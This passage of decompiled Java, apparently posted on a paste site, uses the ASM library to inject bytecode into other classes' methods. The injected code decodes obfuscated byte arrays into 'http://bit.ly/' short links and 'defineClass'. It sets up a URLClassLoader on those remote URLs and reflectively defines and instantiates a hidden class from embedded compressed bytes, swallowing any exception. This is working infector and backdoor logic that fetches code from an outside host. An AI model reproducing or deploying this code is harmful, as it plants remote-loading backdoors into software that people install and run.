  645.         insnList.add((AbstractInsnNode)new InsnNode(87));
  646.         string6 = new LabelNode(new Label());
  647.         insnList.add((AbstractInsnNode)string6);
  648.         insnList.add((AbstractInsnNode)new VarInsnNode(25, 6));
  649.         insnList.add((AbstractInsnNode)new MethodInsnNode(182, string5, string14, string15, false));
  650.         string6 = new LabelNode(new Label());
  651.         insnList.add((AbstractInsnNode)string6);
  652.         insnList.add((AbstractInsnNode)new TypeInsnNode(187, string7));
  653.         insnList.add((AbstractInsnNode)new InsnNode(89));
  654.         insnList.add((AbstractInsnNode)new MethodInsnNode(183, string7, string4, string15, false));
  655.         insnList.add((AbstractInsnNode)new VarInsnNode(58, 8));
  656.         string6 = new LabelNode(new Label());
  657.         insnList.add((AbstractInsnNode)string6);
  658.         insnList.add((AbstractInsnNode)new VarInsnNode(25, 8));
  659.         insnList.add((AbstractInsnNode)new VarInsnNode(25, 7));
  660.         insnList.add((AbstractInsnNode)new MethodInsnNode(182, string7, "setInput", string23, false));
  661.         string6 = new LabelNode(new Label());
  662.         insnList.add((AbstractInsnNode)string6);
  663.         insnList.add((AbstractInsnNode)new TypeInsnNode(187, string8));
  664.         insnList.add((AbstractInsnNode)new InsnNode(89));
  665.         insnList.add((AbstractInsnNode)new VarInsnNode(21, 4));
  666.         insnList.add((AbstractInsnNode)new MethodInsnNode(183, string8, string4, "(I)V", false));
  667.         insnList.add((AbstractInsnNode)new VarInsnNode(58, 9));
  668.         string6 = new LabelNode(new Label());
  669.         insnList.add((AbstractInsnNode)string6);
  670.         insnList.add((AbstractInsnNode)new IntInsnNode(17, 1024));
  671.         insnList.add((AbstractInsnNode)new IntInsnNode(188, 8));
  672.         insnList.add((AbstractInsnNode)new VarInsnNode(58, 10));
  673.         string6 = new LabelNode(new Label());
  674.         insnList.add((AbstractInsnNode)string6);
  675.         insnList.add((AbstractInsnNode)new FrameNode(0, 10, new Object[]{string3, Opcodes.INTEGER, Opcodes.LONG, Opcodes.INTEGER, "[L" + string3 + string20, string5, "[B", string7, string8, "[B"}, 0, new Object[0]));
  676.         insnList.add((AbstractInsnNode)new VarInsnNode(25, 8));
  677.         insnList.add((AbstractInsnNode)new MethodInsnNode(182, string7, "finished", "()Z", false));
  678.         string3 = new LabelNode(new Label());
  679.         insnList.add((AbstractInsnNode)new JumpInsnNode(154, (LabelNode)string3));
  680.         string5 = new LabelNode(new Label());
  681.         insnList.add((AbstractInsnNode)string5);
  682.         insnList.add((AbstractInsnNode)new VarInsnNode(25, 8));
  683.         insnList.add((AbstractInsnNode)new VarInsnNode(25, 10));
  684.         insnList.add((AbstractInsnNode)new MethodInsnNode(182, string7, "inflate", "([B)I", false));
  685.         insnList.add((AbstractInsnNode)new VarInsnNode(54, 11));
  686.         string5 = new LabelNode(new Label());
  687.         insnList.add((AbstractInsnNode)string5);
  688.         insnList.add((AbstractInsnNode)new VarInsnNode(25, 9));
  689.         insnList.add((AbstractInsnNode)new VarInsnNode(25, 10));
  690.         insnList.add((AbstractInsnNode)new InsnNode(3));
  691.         insnList.add((AbstractInsnNode)new VarInsnNode(21, 11));
  692.         insnList.add((AbstractInsnNode)new MethodInsnNode(182, string8, "write", "([BII)V", false));
  693.         string5 = new LabelNode(new Label());
  694.         insnList.add((AbstractInsnNode)string5);
  695.         insnList.add((AbstractInsnNode)new JumpInsnNode(167, (LabelNode)string6));
  696.         insnList.add((AbstractInsnNode)string3);
  697.         insnList.add((AbstractInsnNode)new FrameNode(3, 0, null, 0, null));
  698.         insnList.add((AbstractInsnNode)new VarInsnNode(25, 9));
  699.         insnList.add((AbstractInsnNode)new MethodInsnNode(182, string8, string14, string15, false));
  700.         string3 = new LabelNode(new Label());
  701.         insnList.add((AbstractInsnNode)string3);
  702.         insnList.add((AbstractInsnNode)new VarInsnNode(25, 9));
  703.         insnList.add((AbstractInsnNode)new MethodInsnNode(182, string8, "toByteArray", "()[B", false));
  704.         insnList.add((AbstractInsnNode)new VarInsnNode(58, 7));
  705.         string3 = new LabelNode(new Label());
  706.         insnList.add((AbstractInsnNode)string3);
  707.         insnList.add((AbstractInsnNode)new VarInsnNode(25, 8));
  708.         insnList.add((AbstractInsnNode)new MethodInsnNode(182, string7, "end", string15, false));
  709.         string3 = new LabelNode(new Label());
  710.         insnList.add((AbstractInsnNode)string3);
  711.         insnList.add((AbstractInsnNode)new TypeInsnNode(187, string24));
  712.         insnList.add((AbstractInsnNode)new InsnNode(89));
  713.         insnList.add((AbstractInsnNode)new IntInsnNode(16, 14));
  714.         insnList.add((AbstractInsnNode)new IntInsnNode(188, 8));
  715.         insnList.add((AbstractInsnNode)new InsnNode(89));
  716.         insnList.add((AbstractInsnNode)new InsnNode(3));
  717.         insnList.add((AbstractInsnNode)new IntInsnNode(16, 104));
  718.         insnList.add((AbstractInsnNode)new InsnNode(84));
  719.         insnList.add((AbstractInsnNode)new InsnNode(89));
  720.         insnList.add((AbstractInsnNode)new InsnNode(4));
  721.         insnList.add((AbstractInsnNode)new IntInsnNode(16, 116));
  722.         insnList.add((AbstractInsnNode)new InsnNode(84));
  723.         insnList.add((AbstractInsnNode)new InsnNode(89));
  724.         insnList.add((AbstractInsnNode)new InsnNode(5));
  725.         insnList.add((AbstractInsnNode)new IntInsnNode(16, 116));
  726.         insnList.add((AbstractInsnNode)new InsnNode(84));
  727.         insnList.add((AbstractInsnNode)new InsnNode(89));
  728.         insnList.add((AbstractInsnNode)new InsnNode(6));
  729.         insnList.add((AbstractInsnNode)new IntInsnNode(16, 112));
  730.         insnList.add((AbstractInsnNode)new InsnNode(84));
  731.         insnList.add((AbstractInsnNode)new InsnNode(89));
  732.         insnList.add((AbstractInsnNode)new InsnNode(7));
  733.         insnList.add((AbstractInsnNode)new IntInsnNode(16, 58));
  734.         insnList.add((AbstractInsnNode)new InsnNode(84));
  735.         insnList.add((AbstractInsnNode)new InsnNode(89));
  736.         insnList.add((AbstractInsnNode)new InsnNode(8));
  737.         insnList.add((AbstractInsnNode)new IntInsnNode(16, 47));
  738.         insnList.add((AbstractInsnNode)new InsnNode(84));
  739.         insnList.add((AbstractInsnNode)new InsnNode(89));
  740.         insnList.add((AbstractInsnNode)new IntInsnNode(16, 6));
  741.         insnList.add((AbstractInsnNode)new IntInsnNode(16, 47));
  742.         insnList.add((AbstractInsnNode)new InsnNode(84));
  743.         insnList.add((AbstractInsnNode)new InsnNode(89));
  744.         insnList.add((AbstractInsnNode)new IntInsnNode(16, 7));
  745.         insnList.add((AbstractInsnNode)new IntInsnNode(16, 98));
  746.         insnList.add((AbstractInsnNode)new InsnNode(84));
  747.         insnList.add((AbstractInsnNode)new InsnNode(89));
  748.         insnList.add((AbstractInsnNode)new IntInsnNode(16, 8));
  749.         insnList.add((AbstractInsnNode)new IntInsnNode(16, 105));
  750.         insnList.add((AbstractInsnNode)new InsnNode(84));
  751.         insnList.add((AbstractInsnNode)new InsnNode(89));
  752.         insnList.add((AbstractInsnNode)new IntInsnNode(16, 9));
  753.         insnList.add((AbstractInsnNode)new IntInsnNode(16, 116));
  754.         insnList.add((AbstractInsnNode)new InsnNode(84));
  755.         insnList.add((AbstractInsnNode)new InsnNode(89));
  756.         insnList.add((AbstractInsnNode)new IntInsnNode(16, 10));
  757.         insnList.add((AbstractInsnNode)new IntInsnNode(16, 46));
  758.         insnList.add((AbstractInsnNode)new InsnNode(84));
  759.         insnList.add((AbstractInsnNode)new InsnNode(89));
  760.         insnList.add((AbstractInsnNode)new IntInsnNode(16, 11));
  761.         insnList.add((AbstractInsnNode)new IntInsnNode(16, 108));
  762.         insnList.add((AbstractInsnNode)new InsnNode(84));
  763.         insnList.add((AbstractInsnNode)new InsnNode(89));
  764.         insnList.add((AbstractInsnNode)new IntInsnNode(16, 12));
  765.         insnList.add((AbstractInsnNode)new IntInsnNode(16, 121));
  766.         insnList.add((AbstractInsnNode)new InsnNode(84));
  767.         insnList.add((AbstractInsnNode)new InsnNode(89));
  768.         insnList.add((AbstractInsnNode)new IntInsnNode(16, 13));
  769.         insnList.add((AbstractInsnNode)new IntInsnNode(16, 47));
  770.         insnList.add((AbstractInsnNode)new InsnNode(84));
  771.         insnList.add((AbstractInsnNode)new MethodInsnNode(183, string24, string4, string23, false));
  772.         insnList.add((AbstractInsnNode)new VarInsnNode(58, 11));
  773.         string3 = new LabelNode(new Label());
  774.         insnList.add((AbstractInsnNode)string3);
  775.         insnList.add((AbstractInsnNode)new TypeInsnNode(187, string9 + string22));
  776.         insnList.add((AbstractInsnNode)new InsnNode(89));
  777.         insnList.add((AbstractInsnNode)new InsnNode(5));
  778.         insnList.add((AbstractInsnNode)new TypeInsnNode(189, string9));
  779.         insnList.add((AbstractInsnNode)new InsnNode(89));
  780.         insnList.add((AbstractInsnNode)new InsnNode(3));
  781.         insnList.add((AbstractInsnNode)new TypeInsnNode(187, string9));
  782.         insnList.add((AbstractInsnNode)new InsnNode(89));
  783.         insnList.add((AbstractInsnNode)new TypeInsnNode(187, string2));
  784.         insnList.add((AbstractInsnNode)new InsnNode(89));
  785.         insnList.add((AbstractInsnNode)new MethodInsnNode(183, string2, string4, string15, false));
  786.         insnList.add((AbstractInsnNode)new VarInsnNode(25, 11));
  787.         insnList.add((AbstractInsnNode)new MethodInsnNode(182, string2, string16, "(L" + string24 + ";)L" + string2 + string20, false));
  788.         insnList.add((AbstractInsnNode)new TypeInsnNode(187, string24));
  789.         insnList.add((AbstractInsnNode)new InsnNode(89));
  790.         insnList.add((AbstractInsnNode)new IntInsnNode(16, 7));
  791.         insnList.add((AbstractInsnNode)new IntInsnNode(188, 8));
  792.         insnList.add((AbstractInsnNode)new InsnNode(89));
  793.         insnList.add((AbstractInsnNode)new InsnNode(3));
  794.         insnList.add((AbstractInsnNode)new IntInsnNode(16, 50));
  795.         insnList.add((AbstractInsnNode)new InsnNode(84));
  796.         insnList.add((AbstractInsnNode)new InsnNode(89));
  797.         insnList.add((AbstractInsnNode)new InsnNode(4));
  798.         insnList.add((AbstractInsnNode)new IntInsnNode(16, 50));
  799.         insnList.add((AbstractInsnNode)new InsnNode(84));
  800.         insnList.add((AbstractInsnNode)new InsnNode(89));
  801.         insnList.add((AbstractInsnNode)new InsnNode(5));
  802.         insnList.add((AbstractInsnNode)new IntInsnNode(16, 88));
  803.         insnList.add((AbstractInsnNode)new InsnNode(84));
  804.         insnList.add((AbstractInsnNode)new InsnNode(89));
  805.         insnList.add((AbstractInsnNode)new InsnNode(6));
  806.         insnList.add((AbstractInsnNode)new IntInsnNode(16, 66));
  807.         insnList.add((AbstractInsnNode)new InsnNode(84));
  808.         insnList.add((AbstractInsnNode)new InsnNode(89));
  809.         insnList.add((AbstractInsnNode)new InsnNode(7));
  810.         insnList.add((AbstractInsnNode)new IntInsnNode(16, 113));
  811.         insnList.add((AbstractInsnNode)new InsnNode(84));
  812.         insnList.add((AbstractInsnNode)new InsnNode(89));
  813.         insnList.add((AbstractInsnNode)new InsnNode(8));
  814.         insnList.add((AbstractInsnNode)new IntInsnNode(16, 105));
  815.         insnList.add((AbstractInsnNode)new InsnNode(84));
  816.         insnList.add((AbstractInsnNode)new InsnNode(89));
  817.         insnList.add((AbstractInsnNode)new IntInsnNode(16, 6));
  818.         insnList.add((AbstractInsnNode)new IntInsnNode(16, 121));
  819.         insnList.add((AbstractInsnNode)new InsnNode(84));
  820.         insnList.add((AbstractInsnNode)new MethodInsnNode(183, string24, string4, string23, false));
  821.         insnList.add((AbstractInsnNode)new MethodInsnNode(182, string2, string16, "(L" + string24 + ";)L" + string2 + string20, false));
  822.         insnList.add((AbstractInsnNode)new MethodInsnNode(182, string2, "toString", "()L" + string24 + string20, false));
  823.         insnList.add((AbstractInsnNode)new MethodInsnNode(183, string9, string4, "(L" + string24 + ";)V", false));
  824.         insnList.add((AbstractInsnNode)new InsnNode(83));
  825.         insnList.add((AbstractInsnNode)new InsnNode(89));
  826.         insnList.add((AbstractInsnNode)new InsnNode(4));
  827.         insnList.add((AbstractInsnNode)new TypeInsnNode(187, string9));
  828.         insnList.add((AbstractInsnNode)new InsnNode(89));
  829.         insnList.add((AbstractInsnNode)new TypeInsnNode(187, string2));
  830.         insnList.add((AbstractInsnNode)new InsnNode(89));
  831.         insnList.add((AbstractInsnNode)new MethodInsnNode(183, string2, string4, string15, false));
  832.         insnList.add((AbstractInsnNode)new VarInsnNode(25, 11));
  833.         insnList.add((AbstractInsnNode)new MethodInsnNode(182, string2, string16, "(L" + string24 + ";)L" + string2 + string20, false));
  834.         insnList.add((AbstractInsnNode)new TypeInsnNode(187, string24));
  835.         insnList.add((AbstractInsnNode)new InsnNode(89));
  836.         insnList.add((AbstractInsnNode)new IntInsnNode(16, 7));
  837.         insnList.add((AbstractInsnNode)new IntInsnNode(188, 8));
  838.         insnList.add((AbstractInsnNode)new InsnNode(89));
  839.         insnList.add((AbstractInsnNode)new InsnNode(3));
  840.         insnList.add((AbstractInsnNode)new IntInsnNode(16, 49));
  841.         insnList.add((AbstractInsnNode)new InsnNode(84));
  842.         insnList.add((AbstractInsnNode)new InsnNode(89));
  843.         insnList.add((AbstractInsnNode)new InsnNode(4));
  844.         insnList.add((AbstractInsnNode)new IntInsnNode(16, 88));
  845.         insnList.add((AbstractInsnNode)new InsnNode(84));
  846.         insnList.add((AbstractInsnNode)new InsnNode(89));
  847.         insnList.add((AbstractInsnNode)new InsnNode(5));
  848.         insnList.add((AbstractInsnNode)new IntInsnNode(16, 75));
  849.         insnList.add((AbstractInsnNode)new InsnNode(84));
  850.         insnList.add((AbstractInsnNode)new InsnNode(89));
  851.         insnList.add((AbstractInsnNode)new InsnNode(6));
  852.         insnList.add((AbstractInsnNode)new IntInsnNode(16, 65));
  853.         insnList.add((AbstractInsnNode)new InsnNode(84));
  854.         insnList.add((AbstractInsnNode)new InsnNode(89));
  855.         insnList.add((AbstractInsnNode)new InsnNode(7));
  856.         insnList.add((AbstractInsnNode)new IntInsnNode(16, 69));
  857.         insnList.add((AbstractInsnNode)new InsnNode(84));
  858.         insnList.add((AbstractInsnNode)new InsnNode(89));
  859.         insnList.add((AbstractInsnNode)new InsnNode(8));
  860.         insnList.add((AbstractInsnNode)new IntInsnNode(16, 112));
  861.         insnList.add((AbstractInsnNode)new InsnNode(84));
  862.         insnList.add((AbstractInsnNode)new InsnNode(89));
  863.         insnList.add((AbstractInsnNode)new IntInsnNode(16, 6));
  864.         insnList.add((AbstractInsnNode)new IntInsnNode(16, 90));
  865.         insnList.add((AbstractInsnNode)new InsnNode(84));
  866.         insnList.add((AbstractInsnNode)new MethodInsnNode(183, string24, string4, string23, false));
  867.         insnList.add((AbstractInsnNode)new MethodInsnNode(182, string2, string16, "(L" + string24 + ";)L" + string2 + string20, false));
  868.         insnList.add((AbstractInsnNode)new MethodInsnNode(182, string2, "toString", "()L" + string24 + string20, false));
  869.         insnList.add((AbstractInsnNode)new MethodInsnNode(183, string9, string4, "(L" + string24 + ";)V", false));
  870.         insnList.add((AbstractInsnNode)new InsnNode(83));
  871.         insnList.add((AbstractInsnNode)new MethodInsnNode(184, string21, "currentThread", "()L" + string21 + string20, false));
  872.         insnList.add((AbstractInsnNode)new MethodInsnNode(182, string21, "getContext" + string22, "()L" + string11 + string20, false));
  873.         insnList.add((AbstractInsnNode)new MethodInsnNode(183, string9 + string22, string4, "([L" + string9 + ";L" + string11 + ";)V", false));
  874.         insnList.add((AbstractInsnNode)new VarInsnNode(58, 12));
  875.         string2 = new LabelNode(new Label());
  876.         insnList.add((AbstractInsnNode)string2);
  877.         insnList.add((AbstractInsnNode)new LdcInsnNode((Object)Type.getType((String)("L" + string11 + string20))));
  878.         insnList.add((AbstractInsnNode)new TypeInsnNode(187, string24));
  879.         insnList.add((AbstractInsnNode)new InsnNode(89));
  880.         insnList.add((AbstractInsnNode)new IntInsnNode(16, 11));
  881.         insnList.add((AbstractInsnNode)new IntInsnNode(188, 8));
  882.         insnList.add((AbstractInsnNode)new InsnNode(89));
  883.         insnList.add((AbstractInsnNode)new InsnNode(3));
  884.         insnList.add((AbstractInsnNode)new IntInsnNode(16, 100));
  885.         insnList.add((AbstractInsnNode)new InsnNode(84));
  886.         insnList.add((AbstractInsnNode)new InsnNode(89));
  887.         insnList.add((AbstractInsnNode)new InsnNode(4));
  888.         insnList.add((AbstractInsnNode)new IntInsnNode(16, 101));
  889.         insnList.add((AbstractInsnNode)new InsnNode(84));
  890.         insnList.add((AbstractInsnNode)new InsnNode(89));
  891.         insnList.add((AbstractInsnNode)new InsnNode(5));
  892.         insnList.add((AbstractInsnNode)new IntInsnNode(16, 102));
  893.         insnList.add((AbstractInsnNode)new InsnNode(84));
  894.         insnList.add((AbstractInsnNode)new InsnNode(89));
  895.         insnList.add((AbstractInsnNode)new InsnNode(6));
  896.         insnList.add((AbstractInsnNode)new IntInsnNode(16, 105));
  897.         insnList.add((AbstractInsnNode)new InsnNode(84));
  898.         insnList.add((AbstractInsnNode)new InsnNode(89));
  899.         insnList.add((AbstractInsnNode)new InsnNode(7));
  900.         insnList.add((AbstractInsnNode)new IntInsnNode(16, 110));
  901.         insnList.add((AbstractInsnNode)new InsnNode(84));
  902.         insnList.add((AbstractInsnNode)new InsnNode(89));
  903.         insnList.add((AbstractInsnNode)new InsnNode(8));
  904.         insnList.add((AbstractInsnNode)new IntInsnNode(16, 101));
  905.         insnList.add((AbstractInsnNode)new InsnNode(84));
  906.         insnList.add((AbstractInsnNode)new InsnNode(89));
  907.         insnList.add((AbstractInsnNode)new IntInsnNode(16, 6));
  908.         insnList.add((AbstractInsnNode)new IntInsnNode(16, 67));
  909.         insnList.add((AbstractInsnNode)new InsnNode(84));
  910.         insnList.add((AbstractInsnNode)new InsnNode(89));
  911.         insnList.add((AbstractInsnNode)new IntInsnNode(16, 7));
  912.         insnList.add((AbstractInsnNode)new IntInsnNode(16, 108));
  913.         insnList.add((AbstractInsnNode)new InsnNode(84));
  914.         insnList.add((AbstractInsnNode)new InsnNode(89));
  915.         insnList.add((AbstractInsnNode)new IntInsnNode(16, 8));
  916.         insnList.add((AbstractInsnNode)new IntInsnNode(16, 97));
  917.         insnList.add((AbstractInsnNode)new InsnNode(84));
  918.         insnList.add((AbstractInsnNode)new InsnNode(89));
  919.         insnList.add((AbstractInsnNode)new IntInsnNode(16, 9));
  920.         insnList.add((AbstractInsnNode)new IntInsnNode(16, 115));
  921.         insnList.add((AbstractInsnNode)new InsnNode(84));
  922.         insnList.add((AbstractInsnNode)new InsnNode(89));
  923.         insnList.add((AbstractInsnNode)new IntInsnNode(16, 10));
  924.         insnList.add((AbstractInsnNode)new IntInsnNode(16, 115));
  925.         insnList.add((AbstractInsnNode)new InsnNode(84));
  926.         insnList.add((AbstractInsnNode)new MethodInsnNode(183, string24, string4, string23, false));
  927.         insnList.add((AbstractInsnNode)new InsnNode(7));
  928.         insnList.add((AbstractInsnNode)new TypeInsnNode(189, string10));
  929.         insnList.add((AbstractInsnNode)new InsnNode(89));
  930.         insnList.add((AbstractInsnNode)new InsnNode(3));
  931.         insnList.add((AbstractInsnNode)new LdcInsnNode((Object)Type.getType((String)("L" + string24 + string20))));
  932.         insnList.add((AbstractInsnNode)new InsnNode(83));
  933.         insnList.add((AbstractInsnNode)new InsnNode(89));
  934.         insnList.add((AbstractInsnNode)new InsnNode(4));
  935.         insnList.add((AbstractInsnNode)new LdcInsnNode((Object)Type.getType((String)"[B")));
  936.         insnList.add((AbstractInsnNode)new InsnNode(83));
  937.         insnList.add((AbstractInsnNode)new InsnNode(89));
  938.         insnList.add((AbstractInsnNode)new InsnNode(5));
  939.         insnList.add((AbstractInsnNode)new FieldInsnNode(178, string19, "TYPE", "L" + string10 + string20));
  940.         insnList.add((AbstractInsnNode)new InsnNode(83));
  941.         insnList.add((AbstractInsnNode)new InsnNode(89));
  942.         insnList.add((AbstractInsnNode)new InsnNode(6));
  943.         insnList.add((AbstractInsnNode)new FieldInsnNode(178, string19, "TYPE", "L" + string10 + string20));
  944.         insnList.add((AbstractInsnNode)new InsnNode(83));
  945.         insnList.add((AbstractInsnNode)new MethodInsnNode(182, string10, "getDeclaredMethod", "(L" + string24 + ";[L" + string10 + ";)L" + string17 + string20, false));
  946.         insnList.add((AbstractInsnNode)new VarInsnNode(58, 13));
  947.         string24 = new LabelNode(new Label());
  948.         insnList.add((AbstractInsnNode)string24);
  949.         insnList.add((AbstractInsnNode)new VarInsnNode(25, 13));
  950.         insnList.add((AbstractInsnNode)new InsnNode(4));
  951.         insnList.add((AbstractInsnNode)new MethodInsnNode(182, string17, "setAccessible", "(Z)V", false));
  952.         string24 = new LabelNode(new Label());
  953.         insnList.add((AbstractInsnNode)string24);
  954.         insnList.add((AbstractInsnNode)new VarInsnNode(25, 13));
  955.         insnList.add((AbstractInsnNode)new VarInsnNode(25, 12));
  956.         insnList.add((AbstractInsnNode)new InsnNode(7));
  957.         insnList.add((AbstractInsnNode)new TypeInsnNode(189, string18));
  958.         insnList.add((AbstractInsnNode)new InsnNode(89));
  959.         insnList.add((AbstractInsnNode)new InsnNode(3));
  960.         insnList.add((AbstractInsnNode)new InsnNode(1));
  961.         insnList.add((AbstractInsnNode)new InsnNode(83));
  962.         insnList.add((AbstractInsnNode)new InsnNode(89));
  963.         insnList.add((AbstractInsnNode)new InsnNode(4));
  964.         insnList.add((AbstractInsnNode)new VarInsnNode(25, 7));
  965.         insnList.add((AbstractInsnNode)new InsnNode(83));
  966.         insnList.add((AbstractInsnNode)new InsnNode(89));
  967.         insnList.add((AbstractInsnNode)new InsnNode(5));
  968.         insnList.add((AbstractInsnNode)new InsnNode(3));
  969.         insnList.add((AbstractInsnNode)new MethodInsnNode(184, string19, "valueOf", "(I)L" + string19 + string20, false));
  970.         insnList.add((AbstractInsnNode)new InsnNode(83));
  971.         insnList.add((AbstractInsnNode)new InsnNode(89));
  972.         insnList.add((AbstractInsnNode)new InsnNode(6));
  973.         insnList.add((AbstractInsnNode)new VarInsnNode(25, 7));
  974.         insnList.add((AbstractInsnNode)new InsnNode(190));
  975.         insnList.add((AbstractInsnNode)new MethodInsnNode(184, string19, "valueOf", "(I)L" + string19 + string20, false));
  976.         insnList.add((AbstractInsnNode)new InsnNode(83));
  977.         insnList.add((AbstractInsnNode)new MethodInsnNode(182, string17, "invoke", "(L" + string18 + ";[L" + string18 + ";)L" + string18 + string20, false));
  978.         insnList.add((AbstractInsnNode)new TypeInsnNode(192, string10));
  979.         insnList.add((AbstractInsnNode)new VarInsnNode(58, 14));
  980.         string24 = new LabelNode(new Label());
  981.         insnList.add((AbstractInsnNode)string24);
  982.         insnList.add((AbstractInsnNode)new VarInsnNode(25, 14));
  983.         insnList.add((AbstractInsnNode)new MethodInsnNode(182, string10, "newInstance", "()L" + string18 + string20, false));
  984.         insnList.add((AbstractInsnNode)new InsnNode(87));
  985.         insnList.add((AbstractInsnNode)labelNode2);
  986.         insnList.add((AbstractInsnNode)new FrameNode(0, 0, new Object[0], 0, new Object[0]));
  987.         string24 = new LabelNode(new Label());
  988.         insnList.add((AbstractInsnNode)new JumpInsnNode(167, (LabelNode)string24));
  989.         insnList.add((AbstractInsnNode)labelNode3);
  990.         insnList.add((AbstractInsnNode)new FrameNode(4, 0, null, 1, new Object[]{"java/lang/Exception"}));
  991.         insnList.add((AbstractInsnNode)new VarInsnNode(58, 0));
  992.         insnList.add((AbstractInsnNode)string24);
  993.         insnList.add((AbstractInsnNode)new FrameNode(3, 0, null, 0, null));
  994.         if (!bl) {
  995.             insnList.add((AbstractInsnNode)new InsnNode(177));
  996.         }
  997.         methodNode.tryCatchBlocks.add(new TryCatchBlockNode(labelNode, labelNode2, labelNode3, "java/lang/Exception"));
  998.         if (bl) {
  999.             for (String string24 : methodNode.instructions) {
  1000.                 if (string24.getOpcode() != 172 && string24.getOpcode() != 177 && string24.getOpcode() != 176 && string24.getOpcode() != 173 && string24.getOpcode() != 175) continue;
  1001.                 methodNode.instructions.insertBefore((AbstractInsnNode)string24, insnList);
  1002.             }
  1003.             return;
  1004.         }
  1005.         methodNode.instructions.add(insnList);
  1006.     }
  1007.  
  1008.     static {
  1009.     }
  1010. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement